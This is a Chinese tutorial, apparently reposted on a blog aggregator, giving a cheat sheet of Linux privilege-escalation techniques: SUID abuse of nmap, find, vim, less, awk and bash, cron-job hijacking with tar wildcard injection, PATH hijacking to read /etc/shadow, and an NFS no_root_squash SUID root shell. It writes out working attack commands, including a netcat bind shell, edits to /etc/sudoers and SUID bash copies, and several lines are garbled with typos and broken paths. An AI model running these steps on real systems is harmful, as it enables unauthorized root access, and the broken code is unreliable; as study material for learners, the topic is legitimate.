Linux提权

shell分本地shell 和 webshell 有些提权方式只能本地shell使用
常见内核漏洞查找脚本以及利用
环境变量提权

suid

  • https://www.cnblogs.com/banglook/archive/2022/03/17/16019354.html linux特殊命令
  • https://www.secrss.com/articles/28493

什么是suid

SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义。大写S有执行权限。
例如**/usr/bin/passwd本身是root权限的文件,但用户在修改密码时需要对这个文件进行改写,如果不设置s权限,用户在修改密码时会显示 Authentication token manipulation error 令牌身份出错。**
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效.。通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。所以利用此特性,我们可以通过SUID进行提权操作。

chmod u+s filename   设置SUID位
chmod u-s filename   去掉SUID设置

命令利用

查找系统上运行的所有SUID可执行文件

find / -perm -4000 -type f -ls
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {}\;

linux中的标准输入输出

  • 0 是标准输入,一般是从键盘获得输入
  • 1 是标准输出,一般是输出到屏幕了
  • 2 是标准错误,有时候屏幕上可以看到,但是重定向的文件中看不到的就是它了
  • >为重定向符号

>/dev/null 是一个特殊的设备文件,这个文件接收到任何数据都会被丢弃,俗称“黑洞”

2>/dev/null意思就是把错误输出到“黑洞” ,也就是说如果你的命令出错的话,错误报告直接就删除了。不会显示在屏幕上


-name: 根据文件名查找 区分大小写
-perm:利用权限进制搜索
-type:指定文件类型(l:软连接类型;d:文件夹类型;f:文件类型)
-user: 根据文件属主查询
-group:根据文件属组查询
-mtime:根据文件修改时间查找 -n n天以内修改的文件 +n n天以外修改的文件 n 刚好n天修改的文件
-mmin :同mtime 不过单位是分钟
-size: 根据文件大小查找 -n小于大小为n的文  +n大于大小为n的文件
-print:打印输出。 默认的选项,即打印出找到的结果。
-exec:对搜索到的文件执行特定的操作,固定的格式为:-exec 'commond' {} \;   注意:{} 表示查询的结果。
-ok:  和 -exec 的功能一样,只是每次操作都会给用户提示。 举例1: 搜索 /etc 目录下的文件(非目录),文件以 conf 结尾,且大于 10k,然后将其删除。
find /etc -type f -name '*.conf' -size +10k -exec rm -f {} \;
举例2: 将 /data/log/ 目录下以 .log 结尾的文件,且更改时间在 7 天以上的删除。
find /data/log -name '*.log' -mtime +7 -exec rm -f \;
举例3: 搜索条件同 例1 一样,但是不删除,只是将其复制到 /root/conf 目录下
find /etc -type f -name '*.conf' -size +10k -exec cp {} /root/conf/ \;-a:		 与  (默认情况查询条件之间都是 与 的关系)
-o:		 或
-not|!:非
-prune:通常和 -path 一起使用,用于将特定目录排除在搜索条件之外。过滤条件写在其他条件前面。
"-path ./test -prune -o xxxxxx"
举例1:查找当前目录下的所有普通文件,但排除 test目录。
find . -path ./test -prune -o -type f
举例2:  查找当前目录下所有普通文件,但排除 test目录 和 opt目录。
find . -path ./test -prune -o -path ./opt -prune -o -type f  
举例3:  查找当前目录下所有普通文件,但排除 test目录 和 opt目录,但属主为 mama
find . -path ./test -prune -o -path ./opt -prune -o -type f -a -user mama
举例4:  前置条件同例三且文件大小必须大于 500字节
find . -path ./test -prune -o -path ./opt -prune -o -tyep f -a -user mama -a -size +500

nmap

适用版本:nmap2.02至5.21
在早期nmap版本中,带有交互模式,因而允许用户执行shell命令
使用如下命令进入nmap交互模式

nmap --interactive 

在nmap交互模式中 通过如下命令提权

nmap> !sh sh-3.2# whoami root 

msf当中也有利用nmap进行提权的模块

exploit/unix/local/setuid_nmap

find

find用来在系统中查找文件,同时还具有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

touch anyfile #必须要有这个文件 
find anyfile -exec whoami \;
#再通过find反弹root shell
find anyfile -xexc netcat -lvp 5555 -e /bin/sh \;
攻击机上使用 nc xx.xx.xx.xx 5555

vim

vim的主要用途是做编辑器,是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

vim.tiny vim-basic vi 同样使用
进入vim命令行后 !后面加命令

Bash

bash -p 以root身份打开一个bash shell

less/more

!command
!/bin/sh,进入shell

注意:more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell

nano

古老的文本编辑器

nano #进入nano编辑器
Ctrl + R
Ctrl + X 
#即可输入命令

cp

使用cp命令覆盖掉原来的文件

awk

awk命令进入shell:

awk 'BEGIN {system("/bin/bash")}'

crontab定时任务

什么是cron

Cron Jobs可以在服务器端完成一系列计划任务(设定时间自动执行命令等等),一般它主要用于执行系统管理员任务,例如数据备份或清理缓存目录等等。Cron这个词来源于“crontab”,而这个玩意儿存在于/etc目录中。

比如说,在crontab中,我们添加下列条目来实现每隔一个小时就自动打印出apache的错误日志

1 0 * * * printf "" > /var/log/apache/error_log

一般情况下我们添加计划任务时,都是直接修改/etc/crontab。但是,不建议这样做,/etc/cron.d目录就是为了分项目设置计划任务而创建的。例如增加一项定时的备份任务,我们可以这样处理:在/etc/cron.d目录下新建文件crontabAdd
所以cron执行时会读取三个地方的配置文件:
一是/etc/crontab 二是/etc/cron.d目录下的所有文件 三是每个用户的配置文件

攻击方法

路径解析

如果定时任务参数中的command没有指定绝对路径而是使用的相对路径
系统会默认 /home/user/

tar通配符注入

利用条件:目标定时任务中存在tar文件备份相关脚本
例如:/1 * * * root tar -zcf /var/backups/html.tgz/var/www/html/*
backup命令:cd /home/undead/script;tar czf /tmp/backup.tar.gz *

echo'echo "ignite ALL=(root) NOPASSWD;ALL" > /etc/sudoers' >test.sh
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/undead/script/test.sh 
echo "" > "--checkpoint-action=exec=sh test.sh" 
echo "" > --checkpoint=1

https://www.cnblogs.com/manong–/p/8012324.html linux tar相关命令

可写权限

利用条件:

  • 管理员给定时任务权限分配不当 使得除了root以外的用户能够重写定时文件 如chmod 777 775等
  • 定时任务定期执行某个脚本 该脚本可写或者可供利用
#查看当前计划任务 是否可写
cat /etc/crontab
ls -al /etc/cron.d 

如果发现定时任务是root所属并且可写,尝试重写定时任务

#1
一
vi rootme.c
int main(void){setgid(0);setuid(0);execl("/bin/sh","sh",0);
}
$echo"chown root:root / tmp / rootme; chmod u + s /tmp/rootme;">/定时任务
这将更改可执行文件的所有者和组为root。它还将设置SUID位。
5分钟后,运行了cronjob,并以root特权执行了定时任务。$ ./rootme –生成一个root shell。
二
$echo " cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > /定时任务#2
如果定时任务是执行某个脚本且可以修改该脚本
import os
impotr sys
try:os.system('chmod u+s /bin/dash')
except:sys.exit()

路径环境变量

例如,如果 C 程序像这样调用系统函数:

#include<unistd.h>
void main()
{setuid(0);setgid(0);system("whoami");
}

可以使用 PATH 环境变量劫持二进制 whoami,如下所示:

cd /tmp
echo "cat /etc/shadow" > whoami
chmod 777 whoami
export PATH=/tmp:$PATH

NFS

如果在服务器上具有低特权shell,并且发现服务器中具有NFS共享,则可以使用它来升级特权。但是成功取决于它的配置方式。
什么是NFS?
网络文件系统(NFS)是一个客户端/服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。
NFS是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。
什么是root_sqaush和no_root_sqaush?
Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用户在连接时会分配一个用户“ nfsnobody ”,它具有最少的本地特权。如果 no__root_squash_ 选项开启的话”,并为远程用户授予root用户对所连接系统的访问权限。在配置NFS驱动器时,系统管理员应始终使用“ root_squash ”参数。
注意:要利用此,no__root_squash_ 选项得开启。
利用NFS并获取Root Shell
现在,我们拿到了一个低权限的shell,我们查看“ / etc / exports ”文件,即nfs配置文件。
/ etc / exports 文件包含将哪些文件夹/文件系统导出到远程用户的配置和权限。
这个文件的内容非常简单,每一行由抛出路径,客户名列表以及每个客户名后紧跟的访问选项构成:
[共享的目录] [主机名或IP(参数,参数)]
其中参数是可选的,当不指定参数时,nfs将使用默认选项。默认的共享选项是 sync,ro,root_squash,no_delay
当主机名或IP地址为空时,则代表共享给任意客户机提供服务。
当将同一目录共享给多个客户机,但对每个客户机提供的权限不同时,可以这样: [共享的目录] [主机名1或IP1(参数1,参数2)] [主机名2或IP2(参数3,参数4)]
image.png
我们可以看到**_/ tmp _**文件夹是可共享的,远程用户可以挂载它。
还有不安全的参数“ rw ”(读,写),“ sync ”和“ no_root_squash
同样我们也可以使用 showmount命令来查看。

showmount命令用于查询NFS服务器的相关信息
# showmount --helpUsage: showmount [-adehv][--all] [--directories] [--exports][--no-headers] [--help] [--version] [host]
-a或--all以 host:dir 这样的格式来显示客户主机名和挂载点目录。-d或--directories仅显示被客户挂载的目录名。-e或--exports显示NFS服务器的输出清单。-h或--help显示帮助信息。-v或--version显示版本信。--no-headers禁止输出描述头部信息。显示NFS客户端信息# showmount显示指定NFS服务器连接NFS客户端的信息# showmount 192.168.1.1  #此ip为nfs服务器的显示输出目录列表# showmount -e显示指定NFS服务器输出目录列表(也称为共享目录列表)# showmount -e 192.168.1.1显示被挂载的共享目录# showmount -d显示客户端信息和共享目录# showmount -a显示指定NFS服务器的客户端信息和共享目录
# showmount -a 192.168.1.1

我们接下来在我们的攻击机上安装客户端工具
需要执行以下命令,安装nfs-common软件包。apt会自动安装nfs-common、rpcbind等12个软件包

sudo apt install nfs-common
apt-get install cifs-utils

然后输入命令
showmount -e [IP地址]
image.png
创建目录以挂载远程系统。
mkdir / tmp / test
在/tmp/test上装载Remote/tmp文件夹:
mount -o rw,vers = 2 [IP地址]:/ tmp / tmp / test
image.png
然后在/tmp/test/中。新建一个c文件。

#include <stdio.h> 
#include <stdlib.h> 
#include <sys/types.h> 
#include <unistd.h> 
int main() { setuid(0); system("/bin/bash"); return 0; }
也可以
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/test/suid-shell.c

编译:
gcc /tmp/test/suid-shell.c -o / tmp / 1 / suid-shel
赋权:
chmod + s /tmp/test/suid-shell.c
image.png
好的,我们回到要提权的服务器上
cd / tmp ./suid-shell
image.png
可以看到是ROOT权限了

LD_PRELOAD
某211硕在读,三分之一的白帽子,三分之一的科研er,这里适合想要学习安全的小白师傅,适合致力于挖掘漏洞的师傅,适合安全研究人员师傅,以及想要做安全科研的师傅,想要了解网络空间安全研究生生活的师傅
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/78515.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

「中秋来袭」没想到,用OpenCV竟能画出这么漂亮的月饼「附源码」

一、前言 中秋佳节即将来临&#xff0c;作为传统的中国节日之一&#xff0c;人们除了品尝美味的月饼、赏月外&#xff0c;还喜欢通过绘画来表达对这个节日的喜悦和祝福。而如今&#xff0c;随着科技的不断发展&#xff0c;竟然可以借助计算机视觉库OpenCV来绘制精美的月饼和可…

Redis的数据持久化方案

目录 前言 RDB方式 概述&#xff1a; 1.RDB手动 &#xff12;.RDB自动 RDB优缺点 AOF方式 概述 AOF写数据的三种策略 AOF相关配置 AOF重写 AOF重写方式 手动重写 bgrewriteaof 自动重写 总结 前言 Redis是一个内存型数据库&#xff0c;也就是说如果不将内存中的…

被删除并且被回收站清空的文件如何找回

文件的意外删除和回收站清空是许多用户面临的普遍问题。这种情况下&#xff0c;很多人会感到无助和焦虑&#xff0c;担心自己的重要文件永远丢失。然而&#xff0c;幸运的是&#xff0c;依然存在一些有效的方法能够帮助我们找回被删除并且被回收站清空的文件。 ▌被删除文件在…

uniapp——实现聊天室功能——技能提升

这里写目录标题 效果图聊天室功能代码——html部分代码——js部分代码——其他部分 首先声明一点&#xff1a;下面的内容是从一个uniapp的程序中摘录的&#xff0c;并非本人所写&#xff0c;先做记录&#xff0c;以免后续遇到相似需求抓耳挠腮。 效果图 聊天室功能 发送图片 …

进制转换问题

进制 二进制 &#xff08;Binary&#xff09;&#xff1a;0、1。简写为B 八进制&#xff08;Octonary&#xff09;&#xff1a;0、1、2、3、4、5、6、7。简写为O 十进制&#xff08;decimalism&#xff09;&#xff1a;0、1、2、3、4、5、6、7、8、9 简写为D 十六进制&#xff…

【建议收藏】职场人口头和书面沟通必备词语,瞬间高大上

这年头&#xff0c;在职场不但要会做&#xff0c;还要会说。 会说还不能平铺直叙的说&#xff0c;还要能把普通的工作说出话来&#xff0c;这就需要一些“考究”的用词。尤其是在某些头部企业的带领下&#xff0c;业务不够、产品不行、解决方案不够新&#xff0c;就用华丽的辞…

ASEMI二极管1N4148(T4)的用途和使用建议

编辑-Z 二极管是一种常见的电子元件&#xff0c;其中1N4148&#xff08;T4&#xff09;是一款广泛使用的快恢复二极管。它具有快速的开关特性和高反向阻挡能力&#xff0c;适用于多种电子应用。本文将介绍1N4148&#xff08;T4&#xff09;的特点、用途和如何正确使用该二极管…

如何使用极狐GitLab 支持 ISO 27001 合规

目录 组织控制 技术控制 了解更多 本文来源&#xff1a;about.gitlab.com 作者&#xff1a;Joseph Longo 译者&#xff1a;武让 极狐GitLab 高级解决方案架构师 作为一体化平台&#xff0c;通过极狐GitLab 可以很容易实现 DevSecOps 全生命周期管理。极狐GitLab 使开发人员能…

无涯教程-JavaScript - FALSE函数

描述 FALSE函数返回逻辑值FALSE。 语法 FALSE () 争论 FALSE函数没有参数。 Notes 您还可以在工作表或公式中直接键入FALSE单词,Microsoft Excel会将其解释为逻辑值FALSE。 提供FALSE功能主要是为了与其他电子表格程序兼容。 适用性 Excel 2007,Excel 2010,Excel 2013…

webhook--详解(gitee 推送)

一、简介 webhook 是一种基于 HTTP 的回调函数&#xff0c;可在 2 个应用编程接口&#xff08;API&#xff09;之间实现轻量级的事件驱动通信。是一种新型的前后端交互方式&#xff0c;一种对客户端-服务器模式的逆转&#xff0c;在传统方法中&#xff0c;客户端从服务器请求数…

怎样做一个简易而温馨的原木风居室空间

由 balbek bureau 设计的 Relogged 是一座重新设计的私人住宅&#xff0c;位于乌克兰河岸的绿化区。顾名思义&#xff0c;该项目重新诠释了木屋的概念&#xff0c;并与充满自然气息的环境相呼应&#xff0c;营造出宁静舒适的生活氛围。在探索重新设计的木屋实例时&#xff0c;建…

设计模式:享元模式

设计模式&#xff1a;享元模式 什么是享元模式 首先我们需要简单了解一下什么是享元模式。享元模式(Flyweight Pattern):主要用于减少创建对象的数量&#xff0c;以减少内存占用和提高性能。享元模式的重点就在这个享字&#xff0c;通过一些共享技术来减少对象的创建&#xff…

《Web安全基础》04. 文件操作安全

web 1&#xff1a;文件操作安全2&#xff1a;文件上传漏洞2.1&#xff1a;简介2.2&#xff1a;防护与绕过2.3&#xff1a;WAF 绕过2.3.1&#xff1a;数据溢出2.3.2&#xff1a;符号变异2.3.3&#xff1a;数据截断2.3.4&#xff1a;重复数据 3&#xff1a;文件包含漏洞4&#xf…

7、Spring之依赖注入源码解析(下)

resolveDependency()实现 该方法表示,传入一个依赖描述(DependencyDescriptor),该方法会根据该依赖描述从BeanFactory中找出对应的唯一的一个Bean对象。 @Nullable Object resolveDependency(DependencyDescriptor descriptor, @Nullable String requestingBeanName,@Null…

一个最简verilog代码的分析

module testmod( input CLK, output reg [1:0]acc);always(posedge CLK)acc<acc2d1; endmodule 上述代码综合后的电路图为&#xff1a; 分析1 假设在t1时刻&#xff0c;两个触发器的状态都是1&#xff0c;即acc2b11&#xff0c;此时半加器1的A端是1&#xff0c;则D触发器1…

Postman接口压力测试 ---- Tests使用(断言)

所谓断言&#xff0c;主要用于测试返回的数据结果进行匹配判断&#xff0c;匹配成功返回PASS&#xff0c;失败返回FAIL。 下图方法一&#xff0c;直接点击右侧例子函数&#xff0c;会自动生成出现在左侧窗口脚本&#xff0c;只需修改数据即可。 方法二&#xff1a;直接自己写脚…

使用内网端口映射方案,轻松实现U8用友ERP的本地部署异地远程访问——“cpolar内网穿透”

文章目录 前言1. 服务器本机安装U8并调试设置2. 用友U8借助cpolar实现企业远程办公2.1 在被控端电脑上&#xff0c;点击开始菜单栏&#xff0c;打开设置——系统2.2 找到远程桌面2.3 启用远程桌面 3. 安装cpolar内网穿透3.1 注册cpolar账号3.2 下载cpolar客户端 4. 获取远程桌面…

探索装饰艺术的未来,留存传统的精髓

近一个世纪后&#xff0c;装饰艺术终于卷土重来。正如我们在全球新的项目、室内空间和家具中所看到的&#xff0c;那种令我们渴望20世纪初20年代繁荣时期的奢华和魅力。作为装饰艺术建筑和设计的独特身份一直在世界上继续启发着人们&#xff0c;那么从新的设计和现有设计的保留…

从零基础到精通Flutter开发:一步步打造跨平台应用

&#x1f482; 个人网站:【工具大全】【游戏大全】【神级源码资源网】&#x1f91f; 前端学习课程&#xff1a;&#x1f449;【28个案例趣学前端】【400个JS面试题】&#x1f485; 寻找学习交流、摸鱼划水的小伙伴&#xff0c;请点击【摸鱼学习交流群】 导言 Flutter是一种流行…

【RocketMQ】消息的拉取

在上一讲中&#xff0c;介绍了消息的存储&#xff0c;生产者向Broker发送消息之后&#xff0c;数据会写入到CommitLog中&#xff0c;这一讲&#xff0c;就来看一下消费者是如何从Broker拉取消息的。 RocketMQ消息的消费以组为单位&#xff0c;有两种消费模式&#xff1a; 广播…